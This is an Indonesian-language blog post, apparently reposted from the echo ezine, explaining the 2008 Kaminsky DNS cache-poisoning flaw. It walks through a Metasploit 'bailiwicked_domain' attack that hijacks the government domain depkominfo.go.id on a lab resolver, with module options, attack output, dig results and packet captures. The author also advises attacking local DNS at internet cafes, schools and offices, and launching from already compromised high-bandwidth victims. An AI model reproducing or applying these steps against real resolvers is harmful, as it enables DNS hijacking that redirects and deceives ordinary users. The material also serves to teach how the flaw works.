Issue ke-19 echo
Bugs DNS yang ditemukan oleh Dan Kaminsky merupakan bugs DNS paling parah sepanjang sejarah internet, beberapa pihak bahkan menyebutkan bugs DNS ini merupakan bugs paling parah diantara seluruh jenis bugs yang pernah ditemukan. Rasanya memang tidak salah jika Dan merencanakan metode patch yang baru pertama kali dilakukan oleh dunia sejak internet ditemukan dimana rilis patch dilakukan secara bersamaan dengan dukungan lebih dari 80 vendor DNS.
Jenis hole yang ditemukan oleh Dan Kaminsky merupakan perpaduan antara old attack #1 dan old attack #2. Hole tersebut memanfaatkan kelemahan QID yang hanya 16 bit disertai penggunaan protokol UDP sehingga dapat di bruteforce menggunakan paket flooding, dan memanfaatkan kelemahan pada "bailiwick checking". Bentuk response dari hole Dan kaminsky sebagai berikut:
Jenis hole yang ditemukan oleh Dan Kaminsky merupakan perpaduan antara old attack #1 dan old attack #2. Hole tersebut memanfaatkan kelemahan QID yang hanya 16 bit disertai penggunaan protokol UDP sehingga dapat di bruteforce menggunakan paket flooding, dan memanfaatkan kelemahan pada "bailiwick checking". Bentuk response dari hole Dan kaminsky sebagai berikut:
;; QUESTION SECTION:
;notexist.depkominfo.go.id. IN A
;; ANSWER SECTION:
notexist.depkominfo.go.id. 120 IN A 41.41.41.41
;; AUTHORITY SECTION:
depkominfo.go.id. 86400 IN NS www.depkominfo.go.id.
;; ADDITIONAL SECTION:
www.depkominfo.go.id. 604800 IN A 41.41.41.42
Penyerang berusaha untuk membuat resolver melakukan query terhadap notexist.depkominfo.go.id, dan kemudian juga sekaligus mengirimkan response untuk notexist.depkominfo.go.id pada bagian answer, menyediakan informasi authority nameserver domain tersebut pada bagian authority section, dan...memberikan alamat IP nameserver domain tersebut pada bagian additional section. Harap diingat bahwa penyerang juga harus menyesuaikan QID response yang dikirimkan agar data tipuan tersebut dimasukan pada cache dns target. Jika berhasil, maka cache dns server akan teracuni informasi palsu dan mengarahkan semua request depkominfo.go.id menuju nameserver yang telah dipersiapkan oleh penyerang.
Hole ini berhasil mematahkan proses in-bailiwick checking resolver. Nameserver/resolver yang dijadikan target serangan akan percaya sepenuhnya pada response tersebut karena www.depkominfo.go.id memang berada didalam bailiwick checking (*.depkominfo.go.id).
That's it?! so simple, isn't it? :).
======= Teknik Eksploitasi ---|
Dengan adanya public disclosure mengenai hole ini, maka exploit beserta aksi kejahatan lainnya merebak dalam waktu kurang dari 24 jam. Pada bagian akhir kita akan membahas kemungkinan jenis kejahatan yang dapat dilakukan dengan memanfaatkan hole ini. Teknik eksploitasi ada berbagai macam, selain logic serangan yang akan mempengaruhi hasilnya, bahasa pemrograman yang digunakan juga ikut berperan serta. Berdasarkan keterangan Dan kaminsky, awalnya digunakan python sebagai eksploit namun karena terlalu lamban maka diganti menggunakan C. C diklaim dapat melakukan dns cache poisoning suatu resolver dalam watu kurang dari 1 menit (kecepatan internet juga mempengaruhi). Berikut ini permasalahan yang dihadapi untuk membuat eksploit hole diatas:
1. QID/TXID
Inti dari hole Kaminsky adalah pada bailiwick checking, namun kita tetap berhadapan dengan masalah QID DNS. Untuk implementasi DNS server saat ini dimana QID merupakan data 16 bit maka dibutuhkan mekanisme agar dapat lebih dahulu memberikan response dengan QID yang tepat kepada resolver. Bentuk eksploit saat ini menggunakan trik non-exist domain, misal: aaaa.google.com, aaab.google.com, dst. Sehingga apabila paket response dari nameserver asli datang lebih dulu maka jawabannya adalah NXDOMAIN (non-exist domain), sedangkan jika pake response hasil spoofing kita sampai lebih dulu maka jawabannya adalah alamat nameserver (A). Tehnik bruteforce QID ada berbagai macam dan dapat digunakan untuk meloloskan paket bruteforce response kita.
2. UDP Protocol
Hal ini berkaitan dengan konfigurasi dan implementasi nameserver itu sendiri. Beberapa nameserver menggunakan random source port saat melakukan dns query, sehingga jika kita ingin melakukan spoofing paket response bukan hanya harus menebak QID yang digunakan server tersbut saat mengirimkan query namun juga harus menebak source udp port yang digunakan. Hal ini menambah kompleksitas bruteforce menjadi 2^16 x 2^16 (16 bit QID x 16 bit source udp port).
3. Speed
Kecepatan koneksi juga ikut mempengaruhi proses bruteforce, hal ini adalah masalah klasik. Jika kita menggunakan koneksi dial-up (telkomnet????) untuk menyerang nameserver suatu ISP mungkin akan sia-sia, karena koneksi antara DNS server ISP dengan DNS server domain yang asli lebih cepat dibandingkan koneksi kita dengan DNS ISP maka paket response dari DNS server domain asli akan sampai lebih dulu. Hal ini mungkin akan berbeda jika kita bisa memiliki koneksi yang sangat cepat. Teknik paling mudah adalah menyerang DNS lokal (warnet, sekolah, kantor, dll) karena koneksi antara komputer yang kita gunakan untuk menyerang umumnya lebih cepat dibandingkan koneksi antara DNS server lokal tersebut dengan DNS server domain asli.
4. Recursive
Beberapa konfigurasi DNS server tidak mengijinkan dilakukan recursive query, atau membatasi recursive query hanya pada network tertentu sehingga akses melakukan eksploitasi terbatas hanya pada lokal area network tempat DNS server tersebut berada.
======= Exploit in Action ---|
Untuk contoh penggunaan eksploit dan efeknya penulis menggunakan metasploit framework. Dalam real attack penggunaan metasploit framework jelas kurang efisien karena masih terlalu lama untuk dapat sukses melakukan injeksi, terlebih lagi jika kita menggunakan koneksi yang lamban (somehow, masalah ini bisa diatasi, mis: dengan melakukan serangan via salah satu mesin korban lain yang telah di own dan memiliki bandwidth tinggi ;) ), namun prinsip kerja metasploit (terutama kalkulasi jumlah spoofing paket per query dan response) cukup lengkap untuk dijadikan sebagai referensi.
msf auxiliary(bailiwicked_domain) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN depkominfo.go.id yes The domain to hijack
NEWDNS 192.168.2.105 yes The hostname of the replacement DNS server
RECONS 208.67.222.222 yes The nameserver used for reconnaissance
RHOST 192.168.2.102 yes The target address
SRCADDR Real yes The source address to use for sending the queries (accepted: Real, Random)
SRCPORT 53 yes The target server's source query port (0 for automatic)
TTL 44910 yes The TTL for the malicious host entry
XIDS 0 yes The number of XIDs to try for each query (0 for automatic)
msf auxiliary(bailiwicked_domain) > exploit
[*] Targeting nameserver 192.168.2.102 for injection of depkominfo.go.id. nameservers as 192.168.2.105
[*] Querying recon nameserver for depkominfo.go.id.'s nameservers...
[*] Got an NS record: depkominfo.go.id. 3496 IN NS ns.depkominfo.go.id.
[*] Querying recon nameserver for address of ns.depkominfo.go.id....
[*] Got an A record: ns.depkominfo.go.id. 3496 IN A 222.124.199.71
[*] Checking Authoritativeness: Querying 222.124.199.71 for depkominfo.go.id....
[*] ns.depkominfo.go.id. is authoritative for depkominfo.go.id., adding to list of nameservers to spoof as
[*] Got an NS record: depkominfo.go.id. 3496 IN NS ns1.depkominfo.go.id.
[*] Querying recon nameserver for address of ns1.depkominfo.go.id....
[*] Calculating the number of spoofed replies to send per query...
[*] race calc: 100 queries | min/max/avg time: 1.11/188.08/3.72 | min/max/avg replies: 368/65438/1313
[*] Sending 1969 spoofed replies from each nameserver (1) for each query
[*] Attempting to inject poison records for depkominfo.go.id.'s nameservers into 192.168.2.102:53...
[*] Poisoning successful after 250 queries and 492250 responses: depkominfo.go.id. == 192.168.2.105
[*] Auxiliary module execution completed
Jasmine:~ Cyberheb$ dig -t NS @192.168.2.102 depkominfo.go.id
; <<>> DiG 9.4.1-P1 <<>> -t NS @192.168.2.102 depkominfo.go.id
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49356 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;depkominfo.go.id. IN NS ;; ANSWER SECTION: depkominfo.go.id. 41164 IN NS 192.168.2.105. ;; Query time: 37 msec ;; SERVER: 192.168.2.102#53 (192.168.2.102) ;; WHEN: Sun Aug 3 18:49:22 2008 ;; MSG SIZE rcvd: 61
Pada demo diatas, kita melakukan cache poisoning terhadap DNS server 192.168.2.102 untuk domain depkominfo.go.id, hasil akhirnya seluruh query domain depkominfo.go.id akan diarahkan pada DNS server 192.168.2.105. Seluruh client yang menunjuk 192.168.2.102 juga akan mendapatkan hasil yang sama. Metasploit menggunakan opendns untuk proses RECONS authoritative DNS server domain depkominfo.go.id, hal ini dilakukan untuk mencegah data tersebut masuk cache DNS server target jika dilakukan query secara langsung (asumsi kita belum tau nameserver untuk domain depkominfo.go.id). FYI, kita tidak hanya dapat menggunakan opendns, namun juga bisa menggunakan open DNS server yang lain. Phoenix dari k-elektronik pernah membuat tools untuk mencari open DNS server ini pada internet. Setelah mendapatkan informasi authoritative nameserver, metasploit akan menghitung berapa jumlah response terhadap setiap query yang dikirimkan, dengan ini diharapkan proses bruteforce QID akan lebih efisien. Berikut ini hasil capture paket-paket data yang sampai di DNS target, dan akan memperlihatkan implementasi dari 'asumsi' yang dilontarkan oleh halvar flake saat membuka rahasia hole DNS Dan Kaminsky: Internet Protocol, Src: 192.168.2.105 (192.168.2.105), Dst: 192.168.2.102 (192.168.2.102) User Datagram Protocol, Src Port: 47498 (47498), Dst Port: domain (53) Domain Name System (query) [Response In: 276016] Transaction ID: 0xffd4 Flags: 0x0100 (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...0 .... = Non-authenticated data OK: Non-authenticated data is unacceptable Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 0 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Internet Protocol, Src: 192.168.2.102 (192.168.2.102), Dst: 222.124.199.71 (222.124.199.71) User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53) Domain Name System (query) [Response In: 276013] Transaction ID: 0x2e16 Flags: 0x0010 (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...0 .... .... = Recursion desired: Don't do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...1 .... = Non-authenticated data OK: Non-authenticated data is acceptable Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 1 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Additional records : type OPT
Name:
Type: OPT (EDNS0 option)
UDP payload size: 4096
Higher bits in extended RCODE: 0x0
EDNS0 version: 0
Z: 0x8000
Bit 0 (DO bit): 1 (Accepts DNSSEC security RRs)
Bits 1-15: 0x0 (reserved)
Data length: 0
Internet Protocol, Src: 222.124.199.71 (222.124.199.71), Dst: 192.168.2.102 (192.168.2.102)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x7eed
Flags: 0x8500 (Standard query response, No error)
1... .... .... .... = Response: Message is a response
.000 0... .... .... = Opcode: Standard query (0)
.... .1.. .... .... = Authoritative: Server is an authority for domain
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... 0... .... = Recursion available: Server can't do recursive queries
.... .... .0.. .... = Z: reserved (0)
.... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
.... .... .... 0000 = Reply code: No error (0)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
VmlcscEEItDB9.depkominfo.go.id: type A, class IN
Name: VmlcscEEItDB9.depkominfo.go.id
Type: A (Host address)
Class: IN (0x0001)
Answers
VmlcscEEItDB9.depkominfo.go.id: type A, class IN, addr 135.177.94.73
Name: VmlcscEEItDB9.depkominfo.go.id
Type: A (Host address)
Class: IN (0x0001)
Time to live: 12 hours, 28 minutes, 30 seconds
Data length: 4
Addr: 135.177.94.73
Authoritative nameservers
depkominfo.go.id: type NS, class IN, ns 192.168.2.105
Name: depkominfo.go.id
Type: NS (Authoritative name server)
Class: IN (0x0001)
Time to live: 12 hours, 28 minutes, 30 seconds
Data length: 15
Name server: 192.168.2.105
Additional records
192.168.2.105: type A, class IN, addr 135.177.94.73
Name: 192.168.2.105
Type: A (Host address)
Class: IN (0x0001)
Time to live: 12 hours, 28 minutes, 30 seconds
Data length: 4
Addr: 135.177.94.73
Selengkapnya baca di http://www.ezine.echo.or.id/ezine19/e19.008.txt
0 comments:
Post a Comment